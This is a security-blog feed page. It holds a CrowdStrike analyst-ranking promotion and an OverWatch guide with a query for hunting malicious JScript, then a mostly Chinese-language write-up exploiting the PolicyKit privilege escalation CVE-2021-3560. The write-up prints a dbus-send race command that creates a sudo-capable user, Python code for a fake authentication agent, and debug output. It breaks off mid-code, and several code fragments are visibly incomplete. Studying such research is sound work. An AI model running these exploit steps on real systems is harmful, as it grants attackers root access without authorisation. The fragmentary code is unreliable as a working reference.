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Before yesterdayVulnerabily Research

Quadrant Knowledge Solutions Names CrowdStrike a Leader in the 2022 SPARK Matrix for Digital Threat Intelligence Management

26 May 2022 at 08:03

“CrowdStrike is capable of catering to the diverse customer needs across industry verticals, with its comprehensive capabilities, compelling customer references, comprehensive roadmap and vision, cloud-native platform, and product suite with high scalability, have received strong ratings across technology excellence and customer impact.” – Quadrant Knowledge Solutions: 2022 SPARK MatrixTM for Digital Threat Intelligence Management

(Click to enlarge)

We are excited to announce Quadrant Knowledge Solutions has named CrowdStrike as a 2022 technology leader in the SPARK Matrix analysis of the global Digital Threat Intelligence Management market. Among all 28 vendors in the report, CrowdStrike received the highest score in the Technology Excellence category.

The SPARK Matrix evaluates top vendors in the Digital Threat Intelligence Management space on a variety of criteria and groups them into Leaders, Challengers and Aspirants. The criteria are broken down into two categories:

  • Technical Excellence: Sophistication of Technology, Competitive Differentiation Strategy, Application Diversity, Scalability, Integration & Interoperability, and Vision & Roadmap
  • Customer Impact: Product Strategy & Performance, Market Presence, Proven Record, Ease of Deployment & Use, Customer Service Excellence and Unique Value Proposition

How CrowdStrike Falcon X™ Threat Intelligence Stands Apart

The SPARK Matrix analysis takes a deep look into the 28 most significant threat intelligence providers. This broad set of vendors illustrates the diversity of the threat intelligence market and the many use cases customers demand — including dark web monitoring, intelligence automation, machine-readable intelligence, finished intelligence, threat research and threat intelligence platforms

CrowdStrike joins only a few select vendors in this report that provide a comprehensive solution to address all of these use cases. Our customers benefit from access to intelligence using a single workflow with the ability to pivot into intelligence across all use cases — leading to smarter, faster decision making.

You may know CrowdStrike as a leader in cloud-delivered protection of endpoints, cloud workloads, identity and data, but you may not know the full extent of how our offerings differ from those of pure-play threat intelligence companies. Here, we take a closer look at the capabilities that set CrowdStrike’s technology apart. 

Raw Intelligence Collection to Bolster Defense

CrowdStrike’s raw intelligence collection strategy is a critical differentiator. Each vendor’s collection plan forms the foundation that determines the intelligence solutions they can deliver. If a collection plan is too narrow — for example, if it only pulls data from the dark web — it will only address a limited number of customer use cases. If it only collects low-fidelity data, such as publicly available information, the resulting intelligence will be similar across vendors because open-source data is the easiest to obtain. (This isn’t to say the data isn’t valuable, or there aren’t valuable solutions built in these areas.) 

We can deliver across multiple use cases and provide unique intelligence due to our comprehensive collection strategy. This starts with the trillions of events per day collected by the CrowdStrike Security Cloud, which powers the protection of millions of endpoints across the globe and provides visibility into real-time and zero-day attacks. In addition, CrowdStrike Intelligence collects raw intelligence from several other sources including:

  • CrowdStrike Services engagements for incident response and compromise assessments, which drive visibility into adversary activity in victims across the globe
  • Open-source intelligence, which is collected in dozens of languages using linguistically capable collectors and analysts to ensure proper comprehension and analysis of the collected material
  • Billions of objects collected from the deep and dark webs, criminal forums and markets, and social media and messaging apps
  • Processing millions of malware samples per day that are interrogated for actionable information such as command and control, persistence, campaign identification and other indicators, which are instantly published to our customers
  • Maintaining honeypots across the internet, which provide visibility into threats propagating via remote exploitation as well as early warning for things that may affect customers
  • Operating freely available sandbox technology, which is utilized by tens of thousands of security personnel and researchers 
  • Maintaining a special collection of data that enables visibility into botnet command and control payloads, spam email and distributed denial of service (DDoS) activity

This comprehensive collection strategy, with the Falcon platform at its core, underscores CrowdStrike’s ability to collect data that no one else can, resulting in threat intelligence that no other vendor can provide.

An Adversary-Focused Approach to Security

Behind every attack is a human being with motivation and intent. As pioneers in actor profiling and attribution, CrowdStrike uses an adversary-focused approach to threat intelligence. We track more than 180 nation-state, cybercrime and hacktivism adversaries to expose their activities and tradecraft and then enable customers to take proactive steps to protect their organization. 

Falcon X intelligence provides information on the malware adversaries use, vulnerabilities they exploit, tactics for accessing systems and indicators of compromise (IOCs) that identify them. An adversary-focused approach shrinks the problem set for you to manage. By filtering adversaries to those most likely to target your business (e.g., by region or business sector) you can focus on the most likely attacks, expose attacker tradecraft, degrade their ability to attack, increase the cost to the adversary and deploy your resources more effectively.

Threat Intelligence for Everyone  

“Threat intelligence for everyone” was one of our core principles when going to market with the Falcon X solution. Threat intelligence has different meanings to different organizations, typically based on the size and skills of their security team. For many organizations early in their intelligence journey, “threat intelligence” may simply describe IOCs to block or open-source news alerts when a new cyberattack happens. As organizations mature, intelligence morphs to include enriched context for detections, help in hunting and investigating threats, then dark web monitoring and malware sandboxing. As intelligence becomes more strategic, it may mean access to finished intelligence or threat research.

It is critical to find a vendor that meets your definition of intelligence, supports where you are, and provides room for your team to grow. Further, it should challenge you to take the next step into a new use case so you can better protect your business and gain an advantage on today’s sophisticated cyberattacks. CrowdStrike Falcon X threat intelligence solutions are designed to meet you where you are in your threat intelligence journey. Thousands of our customers are implementing intelligence for the first time, and many of the most advanced Global 2000 and government entities rely on the superior collection, tradecraft and analysis of Falcon X.  

If you are a CrowdStrike Falcon customer, or would like to become one, Falcon X threat intelligence is built directly into the platform, supporting your daily workflow by providing additional detection context and defensive strategies at your fingertips. If you are not a Falcon platform customer, our CrowdStrike Falcon X intelligence solutions are available separately, cloud-delivered and operational on Day One.

We believe we met our goal to provide “intelligence for everyone.” For the first time, all organizations, regardless of size or expertise, can easily operationalize intelligence within the security operations center (SOC), gain visibility into the cybercriminal underground to protect their brand and executives, and receive best-of-breed intelligence reporting and technical analysis backed by a dedicated team of intelligence professionals.

Defend Against Threats with Falcon X Intelligence 

CrowdStrike Falcon X Intelligence solutions include:

  • FALCON X: Enriches the events and incidents detected by the CrowdStrike Falcon  platform, automating intelligence so security operations teams can make better, faster decisions 
  • FALCON X RECON: Provides visibility into the cybercriminal underground so customers can effectively mitigate threats to their brands, employees and sensitive data
  • FALCON X PREMIUM: Delivers world-class intelligence reporting, technical analysis, malware analysis and threat hunting capabilities; Falcon X Premium enables organizations to build cyber resiliency and more effectively defend against sophisticated nation-state, eCrime and hacktivist adversaries
  • FALCON X ELITE: Expands your team with access to an intelligence analyst with the expertise to help you better defend against threats targeting your organization

Additional Resources

Part 4: Comprehensive Research of Linux Operating System

26 May 2022 at 17:01

We already know that the entire Linux operating system is written in C. And not just the operating system, but many binaries that run on it are written in C. Although there are multiple reasons for this, the main reason is that C is a very fast and powerful language.

The post Part 4: Comprehensive Research of Linux Operating System appeared first on VerSprite.

Public Report – go-cose Security Assessment

26 May 2022 at 17:15

In April and May 2022, NCC Group Cryptography Services engaged in a security and cryptography assessment reviewing Microsoft’s contributions to the go-cose library, a Go library implementing signing and verification for CBOR Object Signing and Encryption (COSE), as specified in RFC 8152. This library focuses on a minimal feature set to enable the signing and verification of COSE messages using a single signer, aka “sign1”. The purpose of this assessment was to identify cryptographic vulnerabilities and application-level security issues that could adversely affect the security of the go-cose library.

The Public Report for this review may be downloaded below:

Threat Source newsletter (May 26, 2022) — BlackByte adds itself to the grocery list of big game hunters

By Jon Munshaw.  Welcome to this week’s edition of the Threat Source newsletter.  Given the recent tragedies in the U.S., I don’t feel it’s appropriate to open by being nostalgic or trying to be witty — let’s just stick to some security news this week.    The one big...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

How Defenders Can Hunt for Malicious JScript Executions: A Perspective from OverWatch Elite

An adversary’s ability to live off the land — relying on the operating system’s built-in tooling and user-installed legitimate software rather than tooling that must be brought in — may allow them to navigate through a victim organization’s network relatively undetected. CrowdStrike Falcon OverWatch™ threat hunters are acutely aware of adversaries’ love of these living off the land binaries (LOLBins) and build their hunts accordingly. In recent months, OverWatch Elite, a part of CrowdStrike’s Falcon OverWatch managed threat hunting service, has seen an increase in the use of JScript in hands-on-keyboard intrusions. 

JScript vs JavaScript

JScript is a Microsoft-dialect of standard JavaScript, a scripting language that can be used in a web browser setting to add custom functionality to web pages. JScript, however, is an Active Scripting language, meaning it is more integrated into the operating system. JScript can be executed as a standalone file. It is often used to write files to disk, make registry changes, make network connections, execute commands and more. 

While JScript and JavaScript are distinct scripting mechanisms, they both use the same file extension: .js. By default, double-clicking on a .js file in Windows Explorer will cause it to open the file with Windows Script Host executable wscript.exe, which will execute the code. Because wscript.exe is signed by Microsoft and is included in every Windows installation, it is often considered trusted by more traditional security solutions. Although when a .js file is downloaded from the internet an extra warning dialog is displayed prior to execution, our telemetry shows that this does not stop users from proceeding with the execution. 

The relative ease with which .js files can be opened provides attackers with an attractive initial access vector, as tricking a user into executing their malicious scripts can be easy. Moreover, the limited logging that is provided by Windows Script Host (WSH) allows adversaries using malicious JScript files to evade some defense mechanisms and go unnoticed for longer.

Figure 1: A proof-of-concept JScript execution that upon double clicking spawns calc.exe. (Click to enlarge)

JScript as an Entry Point for Hands-on-Keyboard Activity

Unsurprisingly, OverWatch threat hunters regularly see intrusions that involve, or even start with, malicious JScript executions. In the first quarter of 2022, OverWatch identified several Fake Browser Update (FBU) infections — two of which led to the delivery of Cobalt Strike beacons followed by hands-on-keyboard activity. The actor likely used hijacked WordPress websites to host fake warnings about outdated browsers or plugins, asking the user to click a button to download the latest version. A malicious .js payload was then packed in a .zip archive, which the user was lured into opening by giving it names such as ChromeUpdate.js. This file connected to a command-and-control (C2) channel, executing various reconnaissance commands (e.g., leveraging whoami, net, nltest and cmdkey) before dropping and running a Cobalt Strike beacon. The actor was then observed using this beacon for hands-on-keyboard activity. 

In another instance, OverWatch observed the use of malicious .js files in financial services-themed phishing lures. The victim organization was sent an email with a .zip file containing  a file called agreement.js. Upon opening, the JScript file reached out to an attacker-controlled domain, setting up a PowerShell implant that allowed the actor to perform further hands-on-keyboard activity. This activity included creating persistence, running various discovery commands and executing BloodHound. OverWatch quickly alerted the victim organization about the malicious activity, enabling them to contain the affected machines.

Detecting and Preventing Malicious JScript Executions in Your Environment

Because of how JScript works, there is not a straightforward way to detect malicious executions. While JScript is considered a legacy technology, it is still relied upon by a vast array of software and admin automation solutions. This can make distinguishing benign behavior from potentially malicious behavior challenging.

As seen in the examples above, to abuse JScript for initial access means, the attacker need only convince a user to open a malicious .js file, which is often provided to the user in an archive file. One approach for hunting in your environment for this malicious needle in your environment’s haystack is to hunt for JScript executions that originate from a user’s download folder or temporary archive locations (e.g., ZIP, RAR or 7Zip files). 

In the CrowdStrike Falcon® platform’s Event Search function, the following query will surface such executions:

event_simpleName=ProcessRollup2 FileName IN ("cscript.exe", "wscript.exe")
| search CommandLine = "*.js*" (CommandLine="*\\downloads\\*" OR (CommandLine="*\\Appdata\\Local\\Temp\\*" AND (CommandLine="*.zip\\*" OR CommandLine="*\\7z*" OR CommandLine="*\\Rar*")))
| rex field=CommandLine "(?i)(?<ArchiveType>\.zip\\\|\\\7z|\\\Rar)"
| eval ArchiveType=case(ArchiveType=".zip\\", "ZIP", ArchiveType="\\7z", "7Z", ArchiveType="\\Rar", "RAR")
| eval isFromArchive=if(ArchiveType!="","Yes", "No")
| eval isInDownloads=if(match(CommandLine, ".*\\\Downloads\\\.*"),"Yes", "No")
| eval ProcExplorer="https://falcon.crowdstrike.com/investigate/process-explorer/" .aid. "/" . TargetProcessId_decimal . "?_cid=" . cid
| convert ctime(_time)
| table _time aid ComputerName UserName isInDownloads isFromArchive ArchiveType FileName CommandLine ParentBaseFileName ProcExplorer
| sort + _time
| rename _time as Time, aid as "Falcon AID", ComputerName as Endpoint, isInDownloads as "In Downloads folder?", isFromArchive as "From Archive?", FileName as ProcessName, CommandLine as ProcessCommandLine, ParentBaseFileName as ParentProcessName, ProcExplorer as "Process Explorer Link"

The output generated by this hunting query may look something like this:

Figure 2: Sample output of the above Event Search query, surfacing suspicious JScript executions. (Click to enlarge)

A next step would be to use the Process Explorer Link to see the process execution and dive deeper into what actions were performed by the JScript file.

Figure 3: Falcon’s Process Explorer reveals the suspiciously-named invoice_2022-03-21.js spawned calc.exe. (Click to enlarge)

The above example shows the execution of calc.exe, which may be considered unusual in a given environment. This would provide for further hunting opportunities, such as analyzing unusual children spawned by wscript.exe. 

If the given hunting query produces too many results, it is possible to narrow the search further — for example, by limiting it to wscript.exe executions that involve spawning new processes, writing certain file types to disk, or manipulating sensitive registry locations.

From a prevention perspective, there are a few things that can be done. A key weakness in how JScript is set up in Windows is that double clicking a .js file quickly leads to execution. Removing the file association of .js files with wscript.exe may reduce the chances of success. Without the file association, a user would have to use the command line prompt to execute the file. Thus, an unsuspecting user double clicking a link in a phish would not result in a successful phish. Further, partially disabling JScript could reduce the attack surface. Microsoft also offers an option to completely disable Windows Script Host (although in most corporate environments this would not be a feasible option).

The Value of OverWatch Elite

Hunting for malicious .js executions can prove difficult due to high data volumes, legitimate use of JScript files and the variety of ways in which attackers can abuse JScript. To effectively defend against this requires deep knowledge of your environment, insights as to how attackers operate and experience with regards to detecting follow-on behavior. Managing this and other day-to-day responsibilities can easily overwhelm an in-house security team. 

OverWatch’s preeminent managed threat hunting service protects customer environments on a 24/7/365 basis. OverWatch’s primary mission is to pinpoint malicious activities at the earliest possible stage, providing customers with timely, high-fidelity and, most importantly, actionable notifications and context that inform a swift and decisive response.

OverWatch Elite builds on the 24/7/365 threat hunting operations provided as a part of OverWatch standard and includes additional services, such as: 60-minute call escalation for critical threats, quarterly threat briefings, tailored threat hunting and more. OverWatch Elite customers are also invited to a private Slack channel where they can reach an OverWatch Elite analyst to respond with speed and confidence.

For more information, please visit the OverWatch Elite page on CrowdStrike’s website.

Additional Resources

Yesterday — 27 May 2022Vulnerabily Research

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

27 May 2022 at 08:52
By: RicterZ
A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation


English Version: http://noahblog.360.cn/a-new-exploit-method-for-cve-2021-3560-policykit-linux-privilege-escalation-en

0x01. The Vulnerability

PolicyKit CVE-2021-3560 是 PolicyKit 没有正确的处理错误,导致在发送 D-Bus 信息后立刻关闭程序后,PolicyKit 错误的认为信息的发送者为 root 用户,从而通过权限检查,实现提权而产生的漏洞。漏洞的利用方式如下:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply \
    /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser \
    string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

以上命令的作用是在发送 D-Bus 信息后,在一个极短的时间差后利用 kill 命令杀死进程,经过多次尝试条件竞争后,可以实现以一个低权限用户添加一个拥有 sudo 权限的用户。


  1. Account Daemon,此服务用来添加用户;
  2. Gnome Control Center,此服务会用 org.freedesktop.policykit.imply 修饰 Account Daemon 的方法;
  3. PolicyKit ≥ 0.113。

其中 Account Daemon 和 Gnomo Control Center 在非桌面版的系统、Red Hat Linux 等系统中并不存在,这无疑减小了漏洞的利用覆盖面。

但是通过对于此漏洞的原理深入研究,我发现漏洞利用并没有特别大的限制,仅存在 PolicyKit 和一些基础 D-Bus 服务(比如 org.freedesktop.systemd1)的系统中仍然可以成功利用。在进行研究的过程中,发现实现利用需要涉及比较多的知识点,需要深入理解此漏洞的原理及 PolicyKit 的相关认证机制和流程。本文章旨在将整体的研究方法尽可能详细的描述出来,如有错误请指正。

0x02. Do Really Need an Imply Annotated Action


The authentication bypass depends on the error value getting ignored. It was ignored on line 1121, but it's still stored in the error parameter, so it also needs to be ignored by the caller. The block of code above has a temporary variable named implied_error, which is ignored when implied_result isn't null. That's the crucial step that makes the bypass possible.

大体含义就是必须要有 org.freedesktop.policykit.imply 修饰后的方法才能实现认证绕过。根据文章中的 PoC 来看,这一点确实是母庸质疑的。具体原因和漏洞原理结合的非常紧密,可以通过查看代码来理解。首先先看一下 CVE-2021-3560 的漏洞函数,代码基于 Github 上的 polkit 0.115 版本:

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
               guint32                       *out_uid,
               guint32                       *out_pid,
               GCancellable                  *cancellable,
               GError                       **error)

  // ...
  g_dbus_connection_call (connection,
        "org.freedesktop.DBus",       /* name */
        "/org/freedesktop/DBus",      /* object path */
        "org.freedesktop.DBus",       /* interface name */
        "GetConnectionUnixUser",      /* method */
        // ...
  g_dbus_connection_call (connection,
        "org.freedesktop.DBus",       /* name */
        "/org/freedesktop/DBus",      /* object path */
        "org.freedesktop.DBus",       /* interface name */
        "GetConnectionUnixProcessID", /* method */
        // ...

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE);

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE;

  return ret;

polkit_system_bus_name_get_creds_sync 函数调用了两个 D-Bus 方法后,没有处理 data.caugh_error,直接设置了 out_uiddata.uid,又由于 data.uid 为 NULL,从而导致 out_uid 为 NULL,也就是 0,为 root 用户的 uid,从而错误的认为这个进程为 root 权限进程。

但是需要注意的是,在遇到错误时,data.error 会被设置为错误的信息,所以这里需要接下来的函数只验证了 ret 是否为 TRUE,而不去验证有没有错误。幸运的是,PolicyKit 中一个用途非常广泛的函数 check_authorization_sync就没有验证:

static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority         *authority,
                          PolkitSubject                  *caller,
                          PolkitSubject                  *subject,
                          const gchar                    *action_id,
                          PolkitDetails                  *details,
                          PolkitCheckAuthorizationFlags   flags,
                          PolkitImplicitAuthorization    *out_implicit_authorization,
                          gboolean                        checking_imply,
                          GError                        **error)
  // ...
  user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                         subject, NULL,
  /* special case: uid 0, root, is _always_ authorized for anything */
  if (identity_is_root_user (user_of_subject)) {
      result = polkit_authorization_result_new (TRUE, FALSE, NULL);
      goto out;
  // ...
  if (!checking_imply) {
      actions = polkit_backend_action_pool_get_all_actions (priv->action_pool, NULL);
      for (l = actions; l != NULL; l = l->next) {
           // ...
           imply_action_id = polkit_action_description_get_action_id (imply_ad);
           implied_result = check_authorization_sync (authority, caller, subject,
                                                      details, flags,
                                                      &implied_implicit_authorization, TRUE,
           if (implied_result != NULL) {
           if (polkit_authorization_result_get_is_authorized (implied_result)) {
               g_debug (" is authorized (implied by %s)", imply_action_id);
               result = implied_result;
               /* cleanup */
               g_strfreev (tokens);
               goto out;
  // ...

这个函数有两处问题,第一个就是第一次调用 polkit_backend_session_monitor_get_user_for_subject 的时候直接返回 uid 为 0 的信息,然后直接通过认证,第二次是在检查 imply action 时,循环调用 check_authorization_sync 后再次遇到 polkit_backend_session_monitor_get_user_for_subject 返回 uid 为 0 的信息。所以此函数存在两个条件竞争的时间窗口:

-> polkit_backend_session_monitor_get_user_for_subject 
 -> return uid = 0

 -> check_authorization_sync
  -> polkit_backend_session_monitor_get_user_for_subject 
   -> return uid = 0

漏洞作者分析到这里时,发现第一个竞争时间窗口并不能成功,因为后续调用 check_authorization_sync的函数都检查了错误信息,所以只能通过第二个时间窗口进行利用,也就是需要一个被 org.freedesktop.policykit.imply 修饰过的 action。首先解释下什么是 org.freedesktop.policykit.imply 修饰。

PolicyKit 的 action policy 配置文件通常在 /usr/share/polkit-1/actions/ 目录下,文件的内容如下所示:

<?xml version="1.0" encoding="UTF-8"?> <!--*-nxml-*-->
<!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"

        <vendor>The systemd Project</vendor>

        <action id="org.freedesktop.systemd1.manage-unit-files">
                <description gettext-domain="systemd">Manage system service or unit files</description>
                <message gettext-domain="systemd">Authentication is required to manage system service or unit files.</message>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.systemd1.reload-daemon org.freedesktop.systemd1.manage-units</annotate>

        <action id="org.freedesktop.systemd1.reload-daemon">
                <description gettext-domain="systemd">Reload the systemd state</description>
                <message gettext-domain="systemd">Authentication is required to reload the systemd state.</message>


可以发现,org.freedesktop.systemd1.manage-unit-files 这个 action 拥有 org.freedesktop.policykit.imply 修饰,这个修饰的意义是,当一个 subject 拥有 org.freedesktop.systemd1.reload-daemon 或者 org.freedesktop.systemd1.manage-units 权限时,也同时拥有此项权限。所以被修饰过的方法基本上可以视作为和修饰方法等价的,这也就是这个修饰的作用。

话说回来,在实际上,被此漏洞所影响的上层函数并不止 check_authorization_sync ,如下所有函数都会被这个漏洞所影响:

  1. polkit_system_bus_name_get_creds_sync
  2. polkit_backend_session_monitor_get_user_for_subject
  3. check_authorization_sync

通过搜索代码,我发现了一个对我而言十分熟悉的函数调用了 polkit_backend_session_monitor_get_user_for_subject 函数:polkit_backend_interactive_authority_authentication_agent_response

static gboolean
polkit_backend_interactive_authority_authentication_agent_response (PolkitBackendAuthority   *authority,
                                                              PolkitSubject            *caller,
                                                              uid_t                     uid,
                                                              const gchar              *cookie,
                                                              PolkitIdentity           *identity,
                                                              GError                  **error)

  // ...
  identity_str = polkit_identity_to_string (identity);
  g_debug ("In authentication_agent_response for cookie '%s' and identity %s",
  user_of_caller = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                        caller, NULL,

  /* only uid 0 is allowed to invoke this method */
  if (!identity_is_root_user (user_of_caller)) {
      goto out;
  // ...

这个方法是 PolicyKit 用来处理 Authentication Agent 调用的 AuthenticationAgentResponseAuthenticationAgentResponse2 方法的。那么,什么是 Authentication Agent,它又拥有什么作用呢?

0x03. What is Authentication Agent

在日常使用 Linux 的时候,如果不是利用 root 账号登录桌面环境,在执行一些需要 root 权限的操作时,通常会跳出一个对话框让你输入密码,这个对话框的程序就是 Authentication Agent:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

在命令行中,同样也有 Authentication Agent,比如 pkexec 命令:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

一个 Authentication Agent 通常为 suid 程序,这样可以保证调用 PolicyKit 的授权方法时的调用方(caller)为 root,而来自 root 用户的方法调用是可以信任的。Authencation Agent的认证流程如下所示:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation
  1. Client 在需要提升权限时,会启动 setuid 的 Authentication Agent;
  2. Authentication Agent 会启动一个 D-Bus 服务,用来接收 PolicyKit 的相关认证调用;
  3. Authentication Agent 会去 PolicyKit 注册自己,来接管对于客户端程序调用的 D-Bus 方法的认证请求: CheckAuthorization
  4. 当收到 CheckAuthorization 请求时,PolicyKit 会调用 Authencation Agent 的 BeginAuthentication 方法;
  5. Authentication Agent 接收到方法调用后,会要求用户输入密码进行认证;
  6. Authentication Agent 验证密码没有问题,则会调用 PolicyKit 提供的 AuthenticationAgentResponse 方法;
  7. PolicyKit 收到 AuthenticationAgentResponse 方法调用后,会检查调用方是不是 root 权限,接着会检查其他信息(cookie);
  8. 检查无误后,PolicyKit 对于 D-Bus Service 的 CheckAuthorization 方法返回 TRUE,表示认证通过;
  9. D-Bus Service 收到返回后,允许执行用户所调用的方法。

虽然流程较为复杂,但是不难发现,整个流程的信任保证主要是在第 7 步中验证 AuthenticationAgentResponse 的调用方是否为 root。但是由于 CVE-2021-3560 的存在,这个信任被打破了。所以我们可以通过伪造 AuthenticationAgentResponse 的调用方,来完成整个认证流程,实现任意 D-Bus Service 方法的调用。

0x04. Write Your Agent

利用 dbus-python 和相关 example 代码,我们可以实现一个 Authencation Agent 的基本骨架:

import os
import dbus
import dbus.service
import threading

from gi.repository import GLib
from dbus.mainloop.glib import DBusGMainLoop

class PolkitAuthenticationAgent(dbus.service.Object):
    def __init__(self):
        bus = dbus.SystemBus(mainloop=DBusGMainLoop())
        self._object_path = '/org/freedesktop/PolicyKit1/AuthenticationAgent'
        self._bus = bus
        with open("/proc/self/stat") as stat:
            tokens = stat.readline().split(" ")
            start_time = tokens[21]

        self._subject = ('unix-process',
                         {'pid': dbus.types.UInt32(os.getpid()),
                          'start-time': dbus.types.UInt64(int(start_time))})

        bus.exit_on_disconnect = False
        dbus.service.Object.__init__(self, bus, self._object_path)
        self._loop = GLib.MainLoop()
        print('[*] D-Bus message loop now running ...')

    def register(self):
        proxy = self._bus.get_object(
        authority = dbus.Interface(
        print('[+] PolicyKit authentication agent registered successfully')
        self._authority = authority

            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
    def BeginAuthentication(self, action_id, message, icon_name, details,
                            cookie, identities, _msg):
        print('[*] Received authentication request')
        print('[*] Action ID: {}'.format(action_id))
        print('[*] Cookie: {}'.format(cookie))

        ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',

def main():

if __name__ == '__main__':


def handler(*args):
    print('[*] Method response: {}'.format(str(args)))

def set_timezone():
    print('[*] Starting SetTimezone ...')
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())
    obj = bus.get_object('org.freedesktop.timedate1', '/org/freedesktop/timedate1')
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.timedate1')
    interface.SetTimezone('Asia/Shanghai', True, reply_handler=handler, error_handler=handler)

def main():


[email protected]:~$ python3 agent.py
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Received authentication request
[*] Action ID: org.freedesktop.timedate1.set-timezone
[*] Cookie: 3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d
[*] Method response: (DBusException(dbus.String('Permission denied')),)

同时 PolicyKit 的输出为:

** (polkitd:186082): DEBUG: 00:37:29.575: In authentication_agent_response for cookie '3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d' and identity unix-user:root
** (polkitd:186082): DEBUG: 00:37:29.576: OUT: Only uid 0 may invoke this method.
** (polkitd:186082): DEBUG: 00:37:29.576: Authentication complete, is_authenticated = 0
** (polkitd:186082): DEBUG: 00:37:29.577: In check_authorization_challenge_cb
  subject                system-bus-name::1.6846
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 0

00:37:29.577: Operator of unix-process:186211:9138723 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.6846 [python3 agent.py] (owned by unix-user:dev)

可见我们的 Authentication Agent 已经正常工作了,可以接收到 PolicyKit 发送的 BeginAuthentication 方法调用,并且PolicyKit 会提示 Only uid 0 may invoke this method,是因为我们的 AuthenticationAgentResponse 发送用户为 dev 用户而非 root 用户。

0x05. Trigger The Vulnerability


os.kill(os.getpid(), 9)


** (polkitd:186082): DEBUG: 01:09:17.375: In authentication_agent_response for cookie '51-20cf92ca04f0c6b029d0309dbfe699b5-1-3d3e63e4e98124979952a29a828057c7' and identity unix-user:root
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: RET: 1
** (polkitd:186082): DEBUG: 01:09:17.377: Removing authentication agent for unix-process:189453:9329523 at name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent (disconnected from bus)
01:09:17.377: Unregistered Authentication Agent for unix-process:189453:9329523 (system bus name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale en_US.UTF-8) (disconnected from bus)
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: error
Error performing authentication: GDBus.Error:org.freedesktop.DBus.Error.NoReply: Message recipient disconnected from message bus without replying (g-dbus-error-quark 4)

(polkitd:186082): GLib-WARNING **: 01:09:17.379: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.6921': no such name
** (polkitd:186082): DEBUG: 01:09:17.380: In check_authorization_challenge_cb
  subject                system-bus-name::1.6921
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 0

可以发现,polkit_backend_interactive_authority_authentication_agent_response 函数的返回值为 TRUE,但是在 check_authorization_challenge_cb 函数中仍然是未授权状态,注意到 Error performing authentication 的错误信息,定位到函数 authentication_agent_begin_cb

static void
authentication_agent_begin_cb (GDBusProxy   *proxy,
                               GAsyncResult *res,
                               gpointer      user_data)
  error = NULL;
  result = g_dbus_proxy_call_finish (proxy, res, &error);
  if (result == NULL)
      g_printerr ("Error performing authentication: %s (%s %d)\n",
                  g_quark_to_string (error->domain),
      if (error->domain == POLKIT_ERROR && error->code == POLKIT_ERROR_CANCELLED)
        was_dismissed = TRUE;
      g_error_free (error);
      g_variant_unref (result);
      gained_authorization = session->is_authenticated;
      g_debug ("Authentication complete, is_authenticated = %d", session->is_authenticated);

代码逻辑为,当 g_dbus_proxy_call_finish 函数没有错误的情况下,才会设置 is_authenticated 为 TRUE。而 g_dbus_proxy_call_finish 函数的作用描述如下:

Finishes an operation started with g_dbus_proxy_call().
You can then call g_dbus_proxy_call_finish() to get the result of the operation.


Message recipient disconnected from message bus without replying

如果想成功的进行条件竞争,首先就需要解决这个问题。通过 dbus-monitor 命令观察正常情况和错误情况的调用结果,成功的情况如下所示:

method call   sender=:1.3174 -> destination=:1.3301 serial=6371 member=BeginAuthentication
method call   sender=:1.3301 -> destination=:1.3174 serial=6    member=AuthenticationAgentResponse2 
method return sender=:1.3301 -> destination=:1.3174 serial=7 reply_serial=6371


method call sender=:1.3174 -> destination=:1.3301 serial=12514 member=BeginAuthentication 
method call sender=:1.3301 -> destination=:1.3174 serial=6     member=AuthenticationAgentResponse2 
error       sender=org.freedesktop.DBus -> destination=:1:3174 error_name=org.freedesktop.DBus.Error.NoReply

其中 :1:3174 为 PolicyKit,:1.3301 为 Authentication Agent。成功的情况下,Authentication Agent 会发送一个 method return 消息,指向的是 BeginAuthentication 的调用序列号,表示这个方法已经成功调用了,而失败的情况下则是由 D-Bus Daemon 向 PolicyKit 发送一个 NoReply 的错误。

0x06. The Time Window

通过以上分析可以得到我们的漏洞触发的时间窗口:在发送 method return 消息后,在获取 AuthenticationAgentResponse2 的 caller 前结束进程。为了精确控制消息发送,我们修改 Authentication Agent 的代码如下:

            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
    def BeginAuthentication(self, action_id, message, icon_name, details,
                            cookie, identities, _msg):
